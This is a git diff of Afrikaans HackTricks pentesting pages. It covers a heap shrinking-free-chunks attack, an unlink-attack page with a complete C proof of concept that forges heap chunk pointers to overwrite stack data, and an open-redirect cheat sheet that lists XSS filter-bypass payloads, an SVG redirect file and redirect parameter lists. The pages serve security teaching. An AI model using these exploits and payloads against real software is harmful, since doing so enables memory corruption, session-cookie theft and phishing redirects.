||||
|
||||
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
|
||||
* Hierdie aanval werk nie meer as gevolg van die gebruik van Tcaches nie.
|
||||
* Verder, as jy probeer om dit te misbruik deur groter stukke te gebruik (sodat tcaches nie betrokke is nie), sal jy die fout kry: `malloc(): invalid next size (unsorted)`
|
||||
|
||||
### Doel
|
||||
|
||||
* Maak 'n stuk binne 'n ander stuk sodat skryftoegang oor daardie tweede stuk toelaat om die ingeslote een te oorskryf
|
||||
|
||||
### Vereistes
|
||||
|
||||
* Afstandsoorskot om die vorige grootte meta-inligting te wysig
|
||||
|
||||
### Aanval
|
||||
|
||||
* 3 stukke geheue (a, b, c) word een na die ander gereserveer. Dan word die middelste een vrygestel. Die eerste bevat 'n afstandsoorskot kwesbaarheid en die aanvaller misbruik dit met 'n 0x00 (as die vorige byte 0x10 was, sou dit die middelste stuk aandui dat dit 0x10 kleiner is as wat dit werklik is).
|
||||
* Dan word 2 kleiner stukke toegewys in die middelste vrygestelde stuk (b), maar, aangesien `b + b->grootte` nooit die c-stuk opdateer nie omdat die aangeduide adres kleiner is as wat dit behoort te wees.
|
||||
* Dan word b1 en c vrygestel. Aangesien `c - c->vorige_grootte` steeds na b wys (nou b1), word beide gekonsolideer in een stuk. Tog is b2 steeds binne in tussen b1 en c.
|
||||
* Laastens word 'n nuwe malloc uitgevoer wat hierdie geheuearea herwin wat eintlik b2 gaan bevat, wat die eienaar van die nuwe malloc toelaat om die inhoud van b2 te beheer.
|
||||
|
||||
Hierdie beeld verduidelik perfek die aanval:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
139
binary-exploitation/heap/unlink-attack.md
Normal file
139
binary-exploitation/heap/unlink-attack.md
Normal file
|
@ -0,0 +1,139 @@
|
|||
# Unlink Aanval
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Toe hierdie aanval ontdek is, het dit meestal 'n WWW (Write What Where) toegelaat, maar sommige **kontroles is bygevoeg** wat die nuwe weergawe van die aanval interessanter en meer kompleks en **nutteloos** maak.
|
||||
|
||||
### Kode Voorbeeld:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kode</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
|
||||
|
||||
struct chunk_structure {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct chunk_structure *fd;
|
||||
struct chunk_structure *bk;
|
||||
char buf[10]; // padding
|
||||
};
|
||||
|
||||
int main() {
|
||||
unsigned long long *chunk1, *chunk2;
|
||||
struct chunk_structure *fake_chunk, *chunk2_hdr;
|
||||
char data[20];
|
||||
|
||||
// First grab two chunks (non fast)
|
||||
chunk1 = malloc(0x8000);
|
||||
chunk2 = malloc(0x8000);
|
||||
printf("Stack pointer to chunk1: %p\n", &chunk1);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk2: %p\n", chunk2);
|
||||
|
||||
// Assuming attacker has control over chunk1's contents
|
||||
// Overflow the heap, override chunk2's header
|
||||
|
||||
// First forge a fake chunk starting at chunk1
|
||||
// Need to setup fd and bk pointers to pass the unlink security check
|
||||
fake_chunk = (struct chunk_structure *)chunk1;
|
||||
fake_chunk->size = 0x8000;
|
||||
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
|
||||
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
|
||||
|
||||
// Next modify the header of chunk2 to pass all security checks
|
||||
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
|
||||
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
|
||||
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
|
||||
|
||||
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
|
||||
// This results in chunk1 pointer pointing to chunk1 - 3
|
||||
// i.e. chunk1[3] now contains chunk1 itself.
|
||||
// We then make chunk1 point to some victim's data
|
||||
free(chunk2);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk1[3]: %x\n", chunk1[3]);
|
||||
|
||||
chunk1[3] = (unsigned long long)data;
|
||||
|
||||
strcpy(data, "Victim's data");
|
||||
|
||||
// Overwrite victim's data using chunk1
|
||||
chunk1[0] = 0x002164656b636168LL;
|
||||
|
||||
printf("%s\n", data);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
* Aanval werk nie as tcaches gebruik word nie
|
||||
|
||||
### Doel
|
||||
|
||||
* Wysig 'n aanwysers na 'n blok in die stapel sodat dit na die stapel wys, sodat dit moontlik is om die inhoud van die stapel te verander deur in die blok te skryf
|
||||
|
||||
### Vereistes
|
||||
|
||||
* Sekere beheer in 'n geheue (bv. stapel) om 'n paar blokke te skep wat waardes gee aan sommige van die eienskappe.
|
||||
* Stapel lek om die aanwysers van die valse blok in te stel.
|
||||
|
||||
### Aanval
|
||||
|
||||
* Daar is 'n paar blokke (blok1 en blok2)
|
||||
* Die aanvaller beheer die inhoud van blok1 en die koppe van blok2.
|
||||
* In blok1 skep die aanvaller die struktuur van 'n valse blok:
|
||||
* Om beskermings te omseil, maak hy seker dat die veld `grootte` korrek is om die fout te vermy: `corrupted size vs. prev_size while consolidating`
|
||||
* en velde `fd` en `bk` van die valse blok wys na waar blok1 aanwyser gestoor word met 'n verskuiwings van -3 en -2 onderskeidelik sodat `fake_chunk->fd->bk` en `fake_chunk->bk->fd` wys na posisie in geheue (stapel) waar die werklike blok1-adres geleë is:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
* Die koppe van blok2 word gewysig om aan te dui dat die vorige blok nie gebruik word nie en dat die grootte die grootte van die valse blok bevat.
|
||||
* Wanneer die tweede blok vrygelaat word, gebeur dit dat hierdie valse blok ontkoppel word:
|
||||
* `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||
* `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||
* Voorheen is daar gemaak dat `fake_chunk->fd->bk` en `fake_chunk->fd->bk` na dieselfde plek wys (die plek in die stapel waar `blok1` gestoor was, sodat dit 'n geldige gekoppelde lys was). Aangesien **beide na dieselfde plek wys**, sal slegs die laaste een (`fake_chunk->bk->fd = fake_chunk->fd`) **effek** hê.
|
||||
* Dit sal **die aanwyser na blok1 in die stapel oorskryf na die adres (of bytes) wat 3 adresse voor in die stapel gestoor is**.
|
||||
* Daarom, as 'n aanvaller die inhoud van blok1 weer kan beheer, sal hy in staat wees om **binne die stapel te skryf** deur moontlik die terugkeeradres oor te skryf, die kanarie te vermy en die waardes en punte van plaaslike veranderlikes te wysig. Selfs deur weer die adres van blok1 wat in die stapel gestoor is na 'n ander plek te wys waar as die aanvaller weer die inhoud van blok1 kan beheer, sal hy oral kan skryf.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks in PDF af** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -1,27 +1,28 @@
|
|||
# Oopverwysing
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Oopverwysing
|
||||
|
||||
# Oop omleiding
|
||||
|
||||
## Omleiding na localhost of willekeurige domeine
|
||||
### Verwys na localhost of willekeurige domeine
|
||||
|
||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Oop omleiding na XSS
|
||||
### Oopverwysing na XSS
|
||||
```bash
|
||||
#Basic payload, javascript code is executed after "javascript:"
|
||||
javascript:alert(1)
|
||||
|
@ -29,6 +30,9 @@ javascript:alert(1)
|
|||
#Bypass "javascript" word filter with CRLF
|
||||
java%0d%0ascript%0d%0a:alert(0)
|
||||
|
||||
# Abuse bad subdomain filter
|
||||
javascript://sub.domain.com/%0Aalert(1)
|
||||
|
||||
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
|
||||
#This bypasses FILTER_VALIDATE_URL os PHP
|
||||
javascript://%250Aalert(1)
|
||||
|
@ -64,17 +68,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
|||
/x:1/:///%01javascript:alert(document.cookie)/
|
||||
";alert(0);//
|
||||
```
|
||||
# Oop-omleiding by die oplaai van svg-lêers
|
||||
|
||||
'n Oop-omleiding is 'n sekuriteitskwessie wat voorkom wanneer 'n webtoepassing toelaat dat 'n gebruiker na 'n eksterne URL omgelei word sonder behoorlike validering. Hierdie kwessie kan uitgebuit word deur 'n aanvaller om gebruikers te mislei en hulle na skadelike webwerwe te stuur.
|
||||
|
||||
By die oplaai van SVG-lêers kan 'n oop-omleiding voorkom as die toepassing nie behoorlike validering van die lêernaam en URL doen nie. As die toepassing toelaat dat 'n gebruiker 'n SVG-lêer oplaai en die lêernaam en URL nie behoorlik gevalideer word nie, kan 'n aanvaller 'n skadelike SVG-lêer oplaai wat 'n omleiding veroorsaak na 'n skadelike webwerf.
|
||||
|
||||
Om hierdie kwessie te misbruik, kan 'n aanvaller 'n skadelike SVG-lêer skep wat 'n omleiding bevat na 'n kwaadwillige webwerf. Die aanvaller kan dan hierdie skadelike SVG-lêer oplaai na die toepassing en 'n spesifieke URL verskaf wat die omleiding veroorsaak. As 'n gebruiker op die skadelike SVG-lêer klik, sal hulle na die kwaadwillige webwerf omgelei word.
|
||||
|
||||
Om hierdie aanval te voorkom, moet die toepassing behoorlike validering van die lêernaam en URL doen wanneer SVG-lêers oplaai word. Dit behels die gebruik van 'n witlysbenadering, waar slegs toegelate karakters en URL's toegelaat word. Verder moet die toepassing ook die inhoud van die SVG-lêer ontleed en valideer om te verseker dat dit nie skadelike omleidings bevat nie.
|
||||
|
||||
Dit is belangrik vir ontwikkelaars om bewus te wees van die risiko van oop-omleidings by die oplaai van SVG-lêers en om behoorlike maatreëls te tref om hierdie kwessie te voorkom. Deur die toepassing behoorlik te valideer en te verifieer, kan die risiko van aanvalle verminder word en die veiligheid van die gebruikers verbeter word.
|
||||
## Oop Herlei laai svg-lêers op
|
||||
```markup
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
|
@ -84,49 +78,7 @@ xmlns="http://www.w3.org/2000/svg">
|
|||
</svg>
|
||||
</code>
|
||||
```
|
||||
# Algemene inspuitingsparameters
|
||||
|
||||
In web application security, injection attacks are a common technique used by hackers to exploit vulnerabilities. Injection attacks occur when an attacker is able to insert malicious code or commands into a web application's input fields or parameters.
|
||||
|
||||
In this section, we will discuss some of the most common injection parameters that hackers target:
|
||||
|
||||
## SQL Injection
|
||||
|
||||
SQL injection is a type of injection attack where an attacker inserts malicious SQL statements into a web application's database query. This can allow the attacker to manipulate the database, extract sensitive information, or even modify the application's behavior.
|
||||
|
||||
Some common SQL injection parameters include:
|
||||
|
||||
- `id` or `user_id`: These parameters are often used to retrieve specific records from a database. An attacker can manipulate these parameters to execute arbitrary SQL queries.
|
||||
|
||||
- `username` or `password`: These parameters are commonly used in login forms. An attacker can use SQL injection to bypass authentication or retrieve sensitive user information.
|
||||
|
||||
- `search` or `keyword`: These parameters are used in search functionalities. An attacker can inject SQL statements to manipulate the search results or extract sensitive data.
|
||||
|
||||
## Command Injection
|
||||
|
||||
Command injection is another type of injection attack where an attacker is able to execute arbitrary commands on the underlying operating system. This can occur when a web application allows user input to be directly passed to a system command without proper validation or sanitization.
|
||||
|
||||
Some common command injection parameters include:
|
||||
|
||||
- `cmd` or `command`: These parameters are often used to execute system commands. An attacker can inject malicious commands to gain unauthorized access or perform malicious actions on the server.
|
||||
|
||||
- `filename` or `path`: These parameters are commonly used in file upload functionalities. An attacker can inject commands to manipulate files, execute arbitrary code, or even gain remote code execution.
|
||||
|
||||
- `ping` or `ip`: These parameters are used in network-related functionalities. An attacker can inject commands to perform network reconnaissance, launch denial-of-service attacks, or even gain remote access to other systems.
|
||||
|
||||
## LDAP Injection
|
||||
|
||||
LDAP injection is a type of injection attack that targets applications using the Lightweight Directory Access Protocol (LDAP) for user authentication and directory services. An attacker can manipulate LDAP queries to bypass authentication, retrieve sensitive information, or modify the application's behavior.
|
||||
|
||||
Some common LDAP injection parameters include:
|
||||
|
||||
- `username` or `user_id`: These parameters are often used to authenticate users against an LDAP server. An attacker can inject LDAP statements to bypass authentication or retrieve sensitive user information.
|
||||
|
||||
- `search` or `filter`: These parameters are used in LDAP search functionalities. An attacker can inject LDAP statements to manipulate the search results or extract sensitive data.
|
||||
|
||||
- `dn` or `base_dn`: These parameters are used to specify the base distinguished name (DN) for LDAP operations. An attacker can inject LDAP statements to modify the base DN and access unauthorized data.
|
||||
|
||||
It is important for developers to properly validate and sanitize user input to prevent injection attacks. Additionally, using parameterized queries, prepared statements, and input validation techniques can help mitigate the risk of injection vulnerabilities.
|
||||
## Gewone inspuitingsparameters
|
||||
```
|
||||
/{payload}
|
||||
?next={payload}
|
||||
|
@ -201,69 +153,17 @@ RedirectUrl=https://c1h2e1.github.io
|
|||
Redirect=https://c1h2e1.github.io
|
||||
ReturnUrl=https://c1h2e1.github.io
|
||||
```
|
||||
# Kodevoorbeelde
|
||||
## Kodevoorbeelde
|
||||
|
||||
### .Net
|
||||
#### .Net
|
||||
```bash
|
||||
response.redirect("~/mysafe-subdomain/login.aspx")
|
||||
```
|
||||
### Java
|
||||
|
||||
Java is 'n objekgeoriënteerde programmeertaal wat algemeen gebruik word vir die ontwikkeling van verskeie toepassings, insluitend webtoepassings. Dit is 'n platformonafhanklike taal, wat beteken dat dit op verskillende bedryfstelsels kan hardloop sonder om die kode te verander. Dit maak gebruik van 'n virtuele masjien (VM) om die kode uit te voer.
|
||||
|
||||
Java het 'n streng tipe-sisteem, wat beteken dat dit vereis dat die tipes van die data wat in die kode gebruik word, vooraf gedefinieer moet word. Dit maak gebruik van klassifikasies en objekte om funksionaliteit te organiseer en te struktureer. Dit bied ook 'n groot verskeidenheid biblioteke en raamwerke wat ontwikkelaars kan gebruik om die ontwikkelingsproses te vergemaklik.
|
||||
|
||||
Java het 'n sterk fokus op veiligheid en betroubaarheid. Dit maak gebruik van 'n sandboksomgewing om die uitvoering van onbetroubare kode te beperk en om die integriteit van die stelsel te beskerm. Dit bied ook ingeboude sekuriteitsfunksies, soos kriptografie en toegangsbeheer, om die toepassings te beskerm teen aanvalle.
|
||||
|
||||
Java het 'n groot gemeenskap van ontwikkelaars en 'n ryk eko-stelsel van hulpmiddels en bronne. Dit word algemeen gebruik vir die ontwikkeling van webtoepassings, mobiele toepassings, bedryfsagteware en nog baie meer.
|
||||
#### Java
|
||||
```bash
|
||||
response.redirect("http://mysafedomain.com");
|
||||
```
|
||||
### PHP
|
||||
|
||||
#### Open Redirect
|
||||
|
||||
'n Oop omleiding is 'n sekuriteitskwessie wat voorkom wanneer 'n webtoepassing toelaat dat 'n gebruiker na 'n eksterne URL omgelei word sonder behoorlike validering. Dit kan misbruik word deur 'n aanvaller om gebruikers te mislei en hulle na 'n skadelike webwerf te stuur.
|
||||
|
||||
#### Identifiseer 'n Oop Omleiding
|
||||
|
||||
Om 'n oop omleiding in 'n PHP-webtoepassing te identifiseer, kan jy die volgende stappe volg:
|
||||
|
||||
1. Identifiseer die URL-parameters wat gebruik word om die omleiding te beheer.
|
||||
2. Verifieer of die URL-parameter 'n eksterne URL aanvaar.
|
||||
3. Kyk na die validering van die URL-parameter. As daar geen behoorlike validering is nie, kan dit 'n potensiële oop omleiding wees.
|
||||
|
||||
#### Uitbuiting van 'n Oop Omleiding
|
||||
|
||||
Om 'n oop omleiding in 'n PHP-webtoepassing uit te buit, kan jy die volgende stappe volg:
|
||||
|
||||
1. Identifiseer die URL-parameter wat gebruik word om die omleiding te beheer.
|
||||
2. Skep 'n skadelike URL wat na 'n kwaadwillige webwerf verwys.
|
||||
3. Stuur die skadelike URL na die toepassing deur die URL-parameter te manipuleer.
|
||||
4. As die toepassing nie behoorlik valideer nie, sal dit die gebruiker na die kwaadwillige webwerf omlei.
|
||||
|
||||
#### Voorkoming van 'n Oop Omleiding
|
||||
|
||||
Om 'n oop omleiding in 'n PHP-webtoepassing te voorkom, kan jy die volgende maatreëls tref:
|
||||
|
||||
1. Valideer alle URL-parameters wat gebruik word vir omleidings.
|
||||
2. Stel 'n lys van toegelate URL's op en vergelyk die omleidings-URL met hierdie lys.
|
||||
3. Gebruik 'n witlysbenadering om slegs spesifieke URL-patrone toe te laat.
|
||||
4. Moenie vertroue op die gebruikersinsette nie en verifieer die URL-parameter behoorlik.
|
||||
5. Implementeer 'n veilige omleidingsfunksie wat slegs toegelate URL's aanvaar.
|
||||
|
||||
#### Voorbeeld van 'n Oop Omleiding in PHP
|
||||
|
||||
Hier is 'n voorbeeld van 'n PHP-kode wat 'n oop omleiding kan veroorsaak:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$redirectUrl = $_GET['url'];
|
||||
header('Location: ' . $redirectUrl);
|
||||
?>
|
||||
```
|
||||
|
||||
In hierdie voorbeeld word die URL-parameter 'url' nie behoorlik gevalideer nie. Dit beteken dat 'n aanvaller 'n skadelike URL kan verskaf en die gebruiker na 'n kwaadwillige webwerf kan omlei. Om hierdie kwessie op te los, moet die URL-parameter behoorlik gevalideer word voordat dit gebruik word om 'n omleiding uit te voer.
|
||||
#### PHP
|
||||
```php
|
||||
<?php
|
||||
/* browser redirections*/
|
||||
|
@ -271,28 +171,27 @@ header("Location: http://mysafedomain.com");
|
|||
exit;
|
||||
?>
|
||||
```
|
||||
# Gereedskap
|
||||
## Gereedskap
|
||||
|
||||
* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
||||
|
||||
# Hulpbronne
|
||||
## Hulpbronne
|
||||
|
||||
* In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) kan jy fuzzing-lyste vind.
|
||||
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
||||
* In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) kan jy fuzzing-lyste vind.\\
|
||||
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
|
||||
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue